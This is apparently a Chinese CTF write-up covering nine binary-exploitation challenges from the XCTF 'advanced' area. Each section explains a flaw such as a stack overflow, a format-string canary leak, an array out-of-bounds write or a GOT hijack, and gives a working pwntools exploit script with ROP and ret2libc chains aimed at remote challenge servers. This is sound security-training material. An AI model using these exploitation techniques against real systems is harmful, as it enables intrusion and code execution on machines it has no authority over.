攻防世界高手区(一)
一、forgot
1.栈溢出(ret2text)
2.NX启用
所以我们不能在堆栈上执行shellcode
3.IDA找到溢出函数
__isoc99_scanf("%s", &v2);
4.找到cat flag指令
利用scanf函数使v2覆盖到v3,打包含cat flag的函数地址放在原本v3的位置。
覆盖地址的时候需要注意*(&v3 + --v14)这个式子,我们需要把函数地址放到这个地址上面(&v3是栈上面的地址,其计算是按照字节来计算而不是位,所以做的时候要注意计算的答案)。由于v14的初始值为1,并且里面正则判断的时候没有关于大写字符的判断,我们就可以直接写入大写字符覆盖v2,并将v3覆盖为我们需要的函数的地址,就可以拿到flag。
5.为什么gets函数不溢出?
fgets((char *)&v13, 32, stdin);
fgets函数功能为从指定的流中读取数据,每次读取一行。
其原型为:char *fgets(char *str, int n, FILE *stream);从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
6.exp
from pwn import *
context(os='linux', arch='x86', log_level='debug')
content = 0
cat_flag_addr = 0x080486CC#结果使执行该函数,得到flag
p = remote("220.249.52.133",56187)
payload = b'A' * (0x74 - 0x54) + p32(cat_flag_addr)#116-84=32
p.sendlineafter('>','p')#由运行程序可得
p.sendlineafter('>',payload)
p.interactive()
#非标准ret2text
二、dice_game
1.栈溢出(ret2libc)
v6 = read(0, buf, 0x50uLL);
2.
把 seed 覆盖为一个固定的数 , srand 就是伪随机函数了, 题目会有个猜数循环,连续答对50次 即可跳转 sub_B28函数,得到flag。
3.exp
from pwn import *
from ctypes import *
context(os="linux", arch="amd64", log_level="debug")
content = 0
def srand():
lib = cdll.LoadLibrary("libc.so.6")#在linux下通过两种方法加载动态链接库,还有CDLL("libc.so.6")
lib.srand(0)
for i in range(50):
number = str(lib.rand()%6 + 1)
p.recvuntil("Give me the point(1~6):")
p.sendline(number)
p.interactive()
def main():
global p
p = remote("220.249.52.133",35136)
payload = b'a' * (0x50 - 0x10) + p64(0)#
#gdb.attach(p)
p.recvuntil("Welcome, let me know your name:")
p.sendline(payload)
srand()
main()
4.补充
srand(seed[0]);
关于 rand 和 srand 函数(https://blog.csdn.net/lianghui0811/article/details/76480664)
关于ctypes(https://blog.csdn.net/lianghui0811/article/details/76480664)
三、Mary_Morton
1.格式化字符串
两个漏洞:
- 格式化字符串漏洞获取Canary值
- read溢出漏洞覆盖Canary值和EIP值,跳转到get_flag函数
格式化字符串
__int64 sub_4008EB()
{
char buf; // [sp+0h] [bp-90h]@1
__int64 v2; // [sp+88h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return *MK_FP(__FS__, 40LL) ^ v2;
}
栈溢出
__int64 sub_400960()
{
char buf; // [sp+0h] [bp-90h]@1
__int64 v2; // [sp+88h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return *MK_FP(__FS__, 40LL) ^ v2;
}
2.checksec
开启了Canary
3.偏移
gdb调试程序确认位置 打断点在printf漏洞位置,查看栈变化
得到(0xde78 - 0xddf0)/8 + 6 ) = 23
4.exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('220.249.52.133',55658)
# base --> (0xde78 - 0xddf0)/8 + 6 )
p.recvuntil('3. Exit the battle')
p.sendline('2')
p.sendline('%23$p')#23是得到的偏移
canary = int(p.recvuntil('1.')[:-2], 16)
print('canary addr is : ' + str(hex(canary)))
payload = b'a' * (0x90 - 0x08)
payload = payload + p64(canary) + b'a' * 8 + p64(0x4008DA)
p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)
p.interactive()
#canary+ret2text
四、warmup
一道盲打栈溢出。
1.nc
得到一个地址
2.fuzz
试一下是p32还是p64
if arch == 1 :
payload = b'a' * i + p64(system)
print('[*] now number is : ' + str(i) + '\n[*] arch is amd64 (p64)')
if arch == 2 :
payload = b'a' * i + p32(system)
print('[*] now number is : ' + str(i) + '\n[*] arch is x86 (p32)')
p.recvuntil('>')
p.sendline(payload)
3.exp
from pwn import *
system = 0x40060d
arch = int(input('please input 1 or 2\n arch is : amd64(1) or x86(2) -->>\n'))
for i in range(200):
p = remote('111.200.241.244',63838)
if arch == 1 :
payload = b'a' * i + p64(system)
print('[*] now number is : ' + str(i) + '\n[*] arch is amd64 (p64)')
if arch == 2 :
payload = b'a' * i + p32(system)
print('[*] now number is : ' + str(i) + '\n[*] arch is x86 (p32)')
p.recvuntil('>')
p.sendline(payload)
try:
next = p.recv()
flag = re.findall(b'.*?}',next)#正则表达式 re findall 方法能够以列表的形式返回能匹配的子串
print(flag)
print('[*] payload is ' + str(payload) + '\n[!!] flag is find!')
except:
p.close()
4.findall
findall(pattern, string, flags=0)
返回string中所有与pattern相匹配的全部字串,返回形式为数组
五、stack2
1.数组越界的漏洞
v13[v3] = v7;
在对v13赋值时,程序并没有进行边界检查,这就给了我们栈溢出的机会,我们可以利用栈溢出构造ROP,达到劫持程序的效果。
可以任意修改数组上方的数据,我们可以通过它的漏洞修改ret返回函数变成system后门函数。
2.步骤
- 知道数组的第一个地址,相当于a[0] 的地址(打一个断点在开头部分定义了第一个数组的地方)
- 写入ret里我们要的数据(需要知道ret距离第一个数组的位置有多远,调试到ret位置,看esp的值)
3.exp
from pwn import *
context(os='linux', arch='x86', log_level='debug')
content = 1
system = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08] # 0x08048987
offset = 0x84#偏移
def write_addr(addr, value):
p.recvuntil('5. exit\n')
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(value))
def main():
global p
if content == 1:
p = process("stack2")
else:
p = remote("111.200.241.244",31931)
p.recvuntil("How many numbers you have:\n")
p.sendline('1')
p.recvuntil("Give me your numbers\n")
p.sendline('1')
for i in range(4):
write_addr(offset+i, system[i])
for i in range(4):
write_addr(offset+i+8, sh_addr[i])
p.recvuntil('5. exit\n')
p.sendline('5')
p.interactive()
main()
六、pwn-100
1.ret2libc
这题里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串,这题呢,我们可以利用put来泄露read函数的地址,然后再利用LibcSearcher查询可能的libc
这题ROP,我们先构造payload来执行puts函数泄露read的地址
2.exp
from pwn import*
from LibcSearcher import*
p=remote("111.200.241.244",49392)
#操作ELF文件的工具
elf =ELF('./1')
read_got = elf.got['read']
puts_plt = elf.plt['puts']
main_addr=0x4006B8
rdi=0x400763
payload='a'*(0x40+0x8)+p64(rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(200,'a')
p.send(payload)#第一次触发漏洞,通过ROP泄漏libc的address
p.recvline()
#然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
#ret2libc惯用格式
libc = LibcSearcher('read',read_addr)##找到libc版本
base=read_addr - libc.dump('read')##算出偏移量
system_addr = base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')##偏移量+libc函数地址=实际函数地址
payload='a'*(0x40+0x8)+p64(rdi)+p64(binsh)+p64(system_addr)
payload=payload.ljust(200,'a')
p.sendline(payload)
p.interactive()
3.setbuf
程序输出有两种方式:一种是即时处理方式,另一种是先暂存起来,然后再大块写入的方式,前者往往造成较高的系统负担。因此,c语言实现通常都允许程序员进行实际的写操作之前控制产生的输出数据量。
4.查找 rdi, ret 地址
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
七、反应釜开关控制
1.溢出点
gets(&v5, ">");
2.后门函数
3.exp
from pwn import *
p = remote("111.200.241.244",31931)
payload='a' * (0x200 + 8)+p64(0x4005F6)#208是偏移
p.sendlineafter('>',payload)#在遇到'>'后发送payload
p.interactive()
八、实时数据监测
1.IDA
发现使得key==35795746,就可以得到flag。
2.exp
from pwn import *
#p = process('./pwn')
#gdb.attach(p, 'b *0x080484A7')
p = remote("111.200.241.244",48715)
key_addr = 0x0804A048
payload = fmtstr_payload(12,{key_addr:35795746})
#fmtstr_payload是pwntools集成的模板
#对于第一个参数是offset(偏移),后面是地址,和地址中写入的值。
p.sendline(payload)
p.interactive()
九、Recho
1.checksec
只开了NX
2.flag
data:0000000000601058 public flag
.data:0000000000601058 flag db 'flag',0
同时main中也有write函数,可以通过write把flag输出来
3.shutdown函数
pwn中有shutdown函数,可以直接把循环单独终结,而不影响整个程序的运行。
4.劫持got表
我们利用syscall时候不能直接跳到syscall那,要从alarm头开始执行,所以有些语句可能会改变我们设置好的寄存器内容,这时候我们就要把alarm的got表地址改一下,改到syscall处
5.exp
from pwn import *
sh=remote('111.200.241.244',46544)
context.log_level='debug'
elf=ELF('./Recho')
pop_rax=0x4006fc
pop_rdi=0x4008a3
pop_rsi_r15=0x4008a1
pop_rdx=0x4006fe
add_rdi_al=0x40070d
flag_addr=0x601058
payload='a'*0x30+'aaaaaaaa'
#increase the alarm 5 to avoid the mov eax 0x25
payload+=p64(pop_rax)+p64(5)+p64(pop_rdi)+p64(elf.got['alarm'])+p64(add_rdi_al)
#open flag
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rdx)+p64(0)+p64(pop_rsi_r15)+p64(0)*2+p64(elf.plt['alarm'])
#read to bss
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(0x601090)+p64(0)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])
#write the flag
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(0x601090)+p64(0)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['write'])
sh.sendlineafter('server!\n',str(len(payload)))
sh.send(payload)
sh.recv()
sh.shutdown('send')#循环终结
sh.interactive()